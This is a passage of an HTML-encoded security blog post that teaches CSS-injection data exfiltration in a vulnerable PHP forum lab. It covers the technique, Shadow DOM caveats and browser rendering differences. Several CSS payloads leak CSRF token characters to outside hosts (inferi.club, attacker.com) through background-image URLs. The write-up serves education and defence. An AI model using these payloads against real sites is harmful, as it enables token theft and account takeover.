&lt;p&gt;In another scenario, let&#x27;s say that in the password change process for the user&#x27;s account, besides the new password, the application also sends a CSRF token inside the form through an &lt;code&gt;input&lt;&#x2F;code&gt; element that has the &lt;code&gt;opacity: 0;&lt;&#x2F;code&gt; property, and this CSRF token is required to perform the password change. The lookup with the &lt;code&gt;:has()&lt;&#x2F;code&gt; pseudo-class would look like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;trocar-senha&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;new_password&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;password&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;submit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;text&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;opacity: 0;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;token_csrf&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;a1b2c3&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;form:has(input[name=&amp;quot;token_csrf&amp;quot;][value^=&amp;quot;a&amp;quot;]) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    background-image: url(https:&#x2F;&#x2F;inferi.club&#x2F;?char=a)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And so, this information would reach the attacker&#x27;s server:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;200 OK GET &#x2F;?char=a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;shadow-dom&quot;&gt;Shadow DOM&lt;&#x2F;h4&gt;
&lt;p&gt;Shadow DOM is a browser mechanism that allows you to create a Shadow Tree attached to some element of the main DOM. It works as an encapsulated environment with its own CSS scope, so that external rules do not apply to it and its own rules do not apply outside of it. Some native browser elements like &lt;code&gt;&amp;lt;video&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;&amp;lt;input type=&quot;range&quot;&amp;gt;&lt;&#x2F;code&gt; already use Shadow DOM internally. An interesting thing about Shadow DOM is that it can be created in two modes: &lt;code&gt;open&lt;&#x2F;code&gt; or &lt;code&gt;closed&lt;&#x2F;code&gt;, which determine whether an external script can reach it or not.&lt;&#x2F;p&gt;
&lt;p&gt;In &lt;code&gt;open&lt;&#x2F;code&gt; mode, external JavaScript code can access the shadow root through the &lt;code&gt;.shadowRoot&lt;&#x2F;code&gt; property. In &lt;code&gt;closed&lt;&#x2F;code&gt; mode, if JavaScript tries to access it through this property, it will receive &lt;code&gt;null&lt;&#x2F;code&gt; instead of the Shadow DOM content.&lt;&#x2F;p&gt;
&lt;p&gt;Here is an example of how Shadow DOM works. Imagine that inside an HTML page there is CSS code setting the following rule:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    p&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        color&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; red&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        font-size&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;px&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this context, all &lt;code&gt;p&lt;&#x2F;code&gt; elements inside the &lt;code&gt;&amp;lt;body&amp;gt;&lt;&#x2F;code&gt; will be affected by the CSS rule. To avoid this with Shadow DOM, we can create a &lt;code&gt;&amp;lt;div&amp;gt;&lt;&#x2F;code&gt; with an &lt;code&gt;id&lt;&#x2F;code&gt; indicating that it will be the shadow host and, using JavaScript, attach the Shadow DOM:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;shadow-host&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; document.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;querySelector&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39;#shadow-host&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    const&lt;&#x2F;span&gt;&lt;span&gt; shadowRoot&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; host.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;attachShadow&lt;&#x2F;span&gt;&lt;span&gt;({ mode:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;open&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    shadowRoot.innerHTML&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; `&amp;lt;p&amp;gt;Not affected by global CSS&amp;lt;&#x2F;p&amp;gt;`&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Many people believe that Shadow DOM is a defense mechanism against CSS Injection. However, this is not necessarily true, with one important condition: the attacker&#x27;s CSS needs to be injected inside the shadow root itself. CSS external to the shadow root cannot see what is inside it.&lt;&#x2F;p&gt;
&lt;p&gt;The attack scenario happens when the application dynamically injects attacker-controlled content directly into the shadow root, for example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;shadowRoot.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;appendChild&lt;&#x2F;span&gt;&lt;span&gt;(style);&lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt; &#x2F;&#x2F; style.textContent = ATTACKER_CONTENT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this case, since the CSS is already inside the shadow root, it is possible to use the &lt;code&gt;:host&lt;&#x2F;code&gt; pseudo-class to reference the shadow host and combine it with &lt;code&gt;:has()&lt;&#x2F;code&gt; to leak its attributes or those of its ancestors in the main DOM:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;:host:has&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;http:&#x2F;&#x2F;attacker.com?char=a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that &lt;code&gt;:host&lt;&#x2F;code&gt; only takes effect when used inside a stylesheet of the shadow root itself, otherwise it does not work. Shadow DOM is not a security boundary, as the CSS spec itself states, but the attack vector depends directly on having injection inside the shadow root, not only on the main page.&lt;&#x2F;p&gt;
&lt;p&gt;To make it easier to understand the exploitation of the CSS Injection vulnerability and the XS-Leaks concept, the lab will not include the use of Shadow DOM in its structure, but this question came up during my presentation at BSidesSP Red Team Village (2026), and the explanation was missing the detail of this condition.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chrome-vs-firefox&quot;&gt;Chrome vs Firefox&lt;&#x2F;h2&gt;
&lt;p&gt;An important thing to know is that Chrome and Firefox render CSS in different ways. This is called &quot;progressive rendering&quot; (or also &quot;batched rendering&quot;). In Chrome, each &lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot;&amp;gt;&lt;&#x2F;code&gt; is processed individually. When Chrome finishes downloading and applying the CSS of the first &lt;code&gt;link&lt;&#x2F;code&gt;, the rules of that CSS are already applied to the DOM. In other words, it is possible for &lt;code&gt;link[0]&lt;&#x2F;code&gt; to apply the CSS even before the CSS of &lt;code&gt;link[1]&lt;&#x2F;code&gt; reaches the origin and is applied.&lt;&#x2F;p&gt;
&lt;p&gt;In Firefox, the browser groups all &lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot;&amp;gt;&lt;&#x2F;code&gt; into a kind of &quot;bucket&quot; and only renders the CSS after all of them are downloaded. So it will wait for &lt;code&gt;link[0]&lt;&#x2F;code&gt;, &lt;code&gt;link[1]&lt;&#x2F;code&gt;, &lt;code&gt;link[2]&lt;&#x2F;code&gt;, and so on, to be ready before applying the CSS. This directly impacts the exfiltration process, which happens sequentially and character by character.&lt;&#x2F;p&gt;
&lt;p&gt;This is important to know because the way CSS Injection affects one user may not affect another one correctly, due to this behavior. However, it is still possible to exploit this technique in Firefox by using chained &lt;code&gt;@import&lt;&#x2F;code&gt;, bypassing the browser&#x27;s batching behavior. This is not an indication that one browser is more secure than the other, they just operate in different ways.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;practical-example&quot;&gt;Practical Example&lt;&#x2F;h2&gt;
&lt;p&gt;For this lab, an environment was created with the following conditions:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A PHP forum, simulating a community with posts, profiles, and so on;&lt;&#x2F;li&gt;
&lt;li&gt;There are regular users and administrators in the application;&lt;&#x2F;li&gt;
&lt;li&gt;Users can visit each other&#x27;s profile;&lt;&#x2F;li&gt;
&lt;li&gt;The application is vulnerable to CSS Injection and CSRF attacks;&lt;&#x2F;li&gt;
&lt;li&gt;The application has a CSP with the following rules:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;script-src &#x27;self&#x27; https:&#x2F;&#x2F;cdn.jsdelivr.net&lt;&#x2F;code&gt;: Only executes JavaScript from the same origin and the indicated CDN&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;style-src * &#x27;unsafe-inline&#x27;&lt;&#x2F;code&gt;: Allows CSS from any origin and inline style&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;img-src *&lt;&#x2F;code&gt;: Allows images from any origin&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;On the application&#x27;s home page, we are greeted by a home page listing some posts made by the forum&#x27;s administrator. We have a search option and another one to authenticate to the application.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;1.png&quot;&gt;
&lt;p&gt;Navigating to the login form, we have the &quot;Username&quot; and &quot;Password&quot; fields. In this lab, we have the following users:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Admin: admin&#x2F;password123&lt;&#x2F;li&gt;
&lt;li&gt;User: alice&#x2F;password123&lt;&#x2F;li&gt;
&lt;li&gt;Guest: attacker&#x2F;password123&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;2.png&quot;&gt;
&lt;p&gt;After authenticating to the application and going to our profile page, just like in other forums, we have an option to add our own biography, which is accessible from our profile. Besides that, the application gives a hint that HTML code is supported.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;3.png&quot;&gt;
&lt;p&gt;By inserting the code &lt;code&gt;&amp;lt;h1&amp;gt;Teste&amp;lt;&#x2F;h1&amp;gt;&lt;&#x2F;code&gt;, we can see that the HTML code is rendered in the application, indicating that the application is vulnerable to HTML Injection. To escalate our impact, let&#x27;s try to inject some JavaScript code into the field to print the user&#x27;s session cookies. The CSP blocks us, so no JavaScript execution for us.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;4.png&quot;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;5.png&quot;&gt;
&lt;p&gt;However, if we revisit the application&#x27;s CSP, two rules applied by the developer open the door for some weaknesses in the application, namely: &lt;code&gt;style-src * &#x27;unsafe-inline&#x27;; img-src *;&lt;&#x2F;code&gt;, indicating that we can load CSS and images from any origin, in addition to executing inline CSS.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;6.png&quot;&gt;
&lt;p&gt;Navigating through the application, after authenticating, we can see that there is a password change function and it only asks for the user&#x27;s new password and a confirmation of the new password. If we analyze the request made by the application, the parameters sent are: &lt;code&gt;csrf_token&lt;&#x2F;code&gt;, &lt;code&gt;new_password&lt;&#x2F;code&gt;, &lt;code&gt;confirm_password&lt;&#x2F;code&gt;. This &lt;code&gt;csrf_token&lt;&#x2F;code&gt; field is present on every page of the application that performs a POST request, inside an &lt;code&gt;input&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;7.png&quot;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;8.png&quot;&gt;
&lt;p&gt;To confirm whether it is indeed possible to extract this CSRF token, let&#x27;s go back to our profile, create our malicious CSS code, and start a server that will receive the connection if the CSS rule is applied. For that, the CSS code will look for the &lt;code&gt;input&lt;&#x2F;code&gt; element with the name &lt;code&gt;csrf&lt;&#x2F;code&gt; that starts with the character &lt;code&gt;z&lt;&#x2F;code&gt;. We can see that the request reaches our server:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;style&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;csrf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;z&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;?token=z&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;img src=&quot;&#x2F;assets&#x2F;data-exfiltration-with-style-css&#x2F;9.png&quot;&gt;
&lt;p&gt;Given this scenario, it is possible to guess the user&#x27;s CSRF token from the CSS Injection. However, considering that in this lab the token has 5 characters and can be generated in the &lt;code&gt;a-z-0-9&lt;&#x2F;code&gt; format, this means we have a total of 36 characters for 5 positions, totaling 180 requests to be made. This number of requests can double, triple, or more depending on the entropy of the application&#x27;s CSRF token. If we wanted to discover the second character, we would have to do something like:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;style&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;csrf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;za&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;?token=za&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;csrf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;zb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;?token=zb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;csrf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;zc&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;    background-image&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;inferi.club&#x2F;?token=zc&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
